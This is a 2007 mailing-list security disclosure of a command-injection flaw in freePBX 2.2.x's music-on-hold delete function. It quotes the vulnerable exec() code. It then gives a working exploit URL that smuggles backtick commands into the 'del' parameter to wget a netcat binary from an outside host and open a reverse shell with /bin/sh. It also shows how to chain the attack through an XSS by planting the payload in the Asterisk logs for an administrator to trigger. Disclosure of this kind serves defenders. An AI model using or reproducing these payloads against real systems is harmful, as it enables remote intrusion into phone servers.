[Full-disclosure] freePBX 2.2.x's Music-on-hold Remote Code Execution Injection

XenoMuta xenomuta at phreaker.net
Sat Apr 21 22:33:34 BST 2007


I've found a code injection in the music-on-hold module at freePBX's  
portal.

There are Inssuficient filters in the delete functions. Only " '  
and ; are being filtered.

Vulnerable Lines:
300:                        $rmcmd="rm -f \"".$path_to_dir."/". 
$del."\"";
301:                        exec($rmcmd);


Example code:
http://<freePBX-host>/admin/config.php?display=music&del=\`wget -q  
http://xenomuta.coolinc.info/nc -O /tmp/nc\`\`/tmp/nc  
myhost.mydomain.com 1234 -e /bin/sh\`&category=default


You can inject this code without access to the portal into the /var/ 
log/asterisk/full this way...
./asteriskxss.php asterisk-server "<img src=\"/admin/config.php? 
display=music&del=\`wget -q http://xenomuta.coolinc.info/nc -O /tmp/nc 
\`\`/tmp/nc myhost.mydomain.com 1234 -e /bin/sh\`&category=default\">"
hoping that an administrator to view the logs from the portals....  
using the documented XSS vulnerability posted here...

http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/ 
053882.html


-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2425 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20070421/af7f0d9a/attachment.bin 


Full-Disclosure is hosted and sponsored by Secunia.